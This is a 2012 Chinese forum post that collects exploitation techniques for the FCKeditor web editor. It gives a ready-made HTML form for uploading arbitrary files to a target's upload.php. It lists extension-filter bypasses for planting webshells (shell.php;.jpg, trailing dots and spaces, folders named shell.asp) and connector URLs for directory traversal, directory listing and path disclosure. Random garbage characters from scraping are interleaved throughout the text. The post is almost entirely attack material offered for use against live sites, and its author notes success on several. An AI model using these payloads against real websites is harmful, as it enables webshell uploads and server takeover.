Fckeditor漏洞利用总结
/ b4 D/ `! k2 S/ N d5 D查看编辑器版本* @" }% \5 s/ P7 k
FCKeditor/_whatsnew.html1 c/ p7 f1 N0 c' d D1 S+ W
—————————————————————————————————————————————————————————————
' M1 j- ]) }# B) [4 o
5 Z7 u) N& s' V$ x4 x2 L6 q2. Version 2.2 版本
7 }* }4 p5 M, d! aApache+linux 环境下在上传文件后面加个.突破！测试通过。; f( ~! k/ F& Y$ j6 @# X5 P. g
—————————————————————————————————————————————————————————————
1 J' T6 ]) `2 h' F5 ?+ W' f' X! {/ B1 x! d0 ~7 F% Z& S' e
3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制，导致用户上传任意文件！将以下保存为html文件，修改action地址。# W1 {9 o) T8 ?+ J
<form id="frmUpload" enctype="multipart/form-data"
p: e6 i& a0 p: A8 ^action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>) W4 {! k# R9 [+ c
<input type="file" name="NewFile" size="50"><br>
- o$ p0 I& x9 Z6 L# C+ q( p<input id="btnUpload" type="submit" value="Upload">
) y# R0 j5 {* f% P1 U3 ?1 y9 s0 |</form>
& i1 i2 {" x" l& _$ b1 ~% k—————————————————————————————————————————————————————————————
2 _9 l/ W$ E% p v$ p
, P6 B* X, I7 D4.FCKeditor 文件上传“.”变“_”下划线的绕过方法* e9 G9 \, c1 ^7 W
很多时候上传的文件例如：shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。 ]% w8 O: l& u; H% O# y* V1 w
4.1：提交shell.php+空格绕过
# ^5 K* f9 K5 l. k3 v3 u5 b. `不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。
. V4 d' D, m6 [) y 4.2：继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹，只检测了第一级的目录，如果跳到二级目录就不受限制。
- j7 k+ f, ]: L8 |—————————————————————————————————————————————————————————————
c9 S( R$ d3 c2 E; ]6 Z, X- g0 h+ b% F0 s+ D
5. 突破建立文件夹
7 u" T% P3 J ~# ]7 e7 aFCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684
5 l: c) T/ q, |& ]: S3 ]: RFCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp
$ q: L/ |# f% `! k: ^—————————————————————————————————————————————————————————————, Z& U' R5 b& O- [
- F4 @ a+ t2 m2 i) r6. FCKeditor 中test 文件的上传地址8 M$ x7 [! g7 ~
FCKeditor/editor/filemanager/browser/default/connectors/test.html1 D: X* f' B/ g4 G2 y3 N% X
FCKeditor/editor/filemanager/upload/test.html
. [& E2 \8 z- i/ | ]3 AFCKeditor/editor/filemanager/connectors/test.html* P* Y5 ]6 r+ T4 B0 A
FCKeditor/editor/filemanager/connectors/uploadtest.html1 D5 ?7 A2 S7 p- Q- B. Z9 [
—————————————————————————————————————————————————————————————
1 t+ d1 y* d: J% F1 k. r
" X+ o: \2 A! y. S. u9 D, b7.常用上传地址
7 v3 x* W" I0 O; R- RFCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/; f- {. }' D2 b' L7 g8 F
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
1 H. Y# k$ _2 g9 B5 e% ~FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)& W7 m6 n2 N2 x) Z) o( d/ g: p
JSP 版：$ j; k8 D0 D! e+ I+ K2 @
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp; u2 Y2 N& \ T, _& U
注意红色部分修改为FCKeditor 实际使用的脚本语言，蓝色部分可以自定义文7 b# h& }( m0 `
件夹名称也可以利用../..目录遍历，紫色部分为实际网站地址。0 v# u* n$ Z1 i. g/ x$ g$ p# H
—————————————————————————————————————————————————————————————5 s: L3 }& s3 ^" Y1 V
& M; E" F6 @" `8.其他上传地址
- h2 D: W- ], T4 g/ sFCKeditor/_samples/default.html2 ]1 v0 E0 i( h+ v1 J
FCKeditor/_samples/asp/sample01.asp
5 P8 h3 K! L7 LFCKeditor/_samples/asp/sample02.asp
' f1 T! w+ T I, V i- b6 AFCKeditor/_samples/asp/sample03.asp' i2 L7 m1 [9 w
FCKeditor/_samples/asp/sample04.asp
* Q6 n9 D" N3 p5 `一般很多站点都已删除_samples 目录，可以试试。. ]( s* o, B$ r3 V6 z# C& s
FCKeditor/editor/fckeditor.html 不可以上传文件，可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。5 w- w$ T [" c$ k6 G; Q3 r
—————————————————————————————————————————————————————————————+ c, b3 I: A9 S7 v9 {/ Y' A
. ]& T1 F) n% B. p9 v9 h! J; @9.列目录漏洞也可助找上传地址
( Z1 s& k; u" U8 f& o' K HVersion 2.4.1 测试通过. ^# e' V; {9 I( d: l E
修改CurrentFolder 参数使用 ../../来进入不同的目录
6 @" p! f, S4 z* i- W# n! P/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp
1 Z5 l5 _- r; k/ U& W$ l% V根据返回的XML 信息可以查看网站所有的目录。; T: q9 l6 {/ T$ ^" y8 a$ K3 d" R$ Q
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
$ \- ]6 {" W, y4 F- s9 x也可以直接浏览盘符：) e9 C! ]7 }$ e, n
JSP 版本：7 {7 d+ ^* n- h+ e7 Y) [
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F
9 ^; Z- p- v7 Q G% _" b—————————————————————————————————————————————————————————————0 d% X5 u, v* A8 ^
) _- U8 ~; M8 ^10.爆路径漏洞* i/ R: _$ a/ b; c
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp/ _1 D5 D* M6 p3 F1 p8 \, f
—————————————————————————————————————————————————————————————
9 X4 h( N( c: B) N
2 \! b. B0 T# ?9 w3 p# x* |$ Q11. FCKeditor 被动限制策略所导致的过滤不严问题/ `6 K0 U5 t; k3 Q5 ]8 N
影响版本: FCKeditor x.x <= FCKeditor v2.4.3
' _7 ^( \0 [# @; f/ } P- T脆弱描述：7 G6 H+ L# r2 g4 D, J% L$ @
FCKeditor v2.4.3 中File 类别默认拒绝上传类型：% B/ T: E0 g& Z2 E! p' E4 ?
html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm. \7 S2 c `$ d" U% U! c2 {
Fckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName，而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!7 x6 C9 g8 I( _( M
而在apache 下，因为"Apache 文件名解析缺陷漏洞"也可以利用之，另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码，其限制最为狭隘。* ?) J/ ?0 ^/ f3 S& H& R
在上传时遇见可直接上传脚本文件固然很好，但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过，也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!5 E7 M8 o" v/ [- v& I$ T
—————————————————————————————————————————————————————————————0 V" j( d- n7 g1 S1 H+ y
. y: j6 d- H8 a& p1 w: L
12.最古老的漏洞，Type文件没有限制！7 A' [$ ]9 F8 _, c% I5 P
我接触到的第一个fckeditor漏洞了。版本不详，应该很古老了，因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹，一个新类型，没有任何限制，可以上传任意脚本！ / t2 `& C8 O& I
—————————————————————————————————————————————————————————————
v- b3 K, ]+ g; O6 R# o0 l4 \. C, ^
/ S7 t+ C4 w+ s% ]( |; h- X===============================================================================================================================================0 n" ], V1 M3 e- z+ u" g
8 X1 x2 b2 w/ s5 A$ @. t3 L% N
FCK编辑器jsp版本漏洞：
+ s4 M* E6 T% N8 i( e# Z0 U& ^
1 I& E2 N7 g* b) |# f& L( e, K; o; e: _8 X( K- j! K ]# R
http://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F
& A' _# r& P4 |$ A8 h6 u/ E$ ]
9 a7 h# P) m) T1 w, c0 K5 a6 j上传马所在目录/ n* T7 u' k. J* U& e8 o
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=// p/ n L; u( e( I2 f$ K3 m! h
上传shell的地址:2 L( r) y2 D1 U6 F m+ U
http://www.xxx.com/fckeditor/edi ... ctors/jsp/connector) {- @* V1 K5 g9 J4 A
跟版本有关系.并不是百分百成功. 测试成功几个站.
+ u0 e$ Y9 C# P6 P不能通杀.很遗憾.
8 k9 S& \: z& Z0 lhttp://www.****.com/FCKeditor/editor/filemanager/browser/default/browser.html?type=File&connector=connectors/jsp/connector' i! R! @. G, d7 e4 p3 A6 K
如果以上地址不行可以试试
1 u. n: R! c* a* y& m L0 \ X) g+ v" }FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=/servlet/Connector
2 _4 A1 A( G5 {* [FCKeditor/_samples/
5 P9 S" n" ]* t2 @% C+ XFCKeditor/_samples/default.html
- V6 G% W* Z& h+ g& {FCKeditor/editor/fckeditor.htm" T, o$ B2 I3 h# f
FCKeditor/editor/fckdialog.html
+ W3 A2 u! V/ m ~( ? ?: g" D! Z/ A1 \0 n% d7 g
?! I; @9 b Y! f2 ?8 x7 R* q" ]; r6 x% Q
解析漏洞+未重命名文件时上传漏洞 1.asp;jpg+ T9 c9 }& |/ l& e
|
发表于 2012-9-13 17:01:39
收藏
支持
反对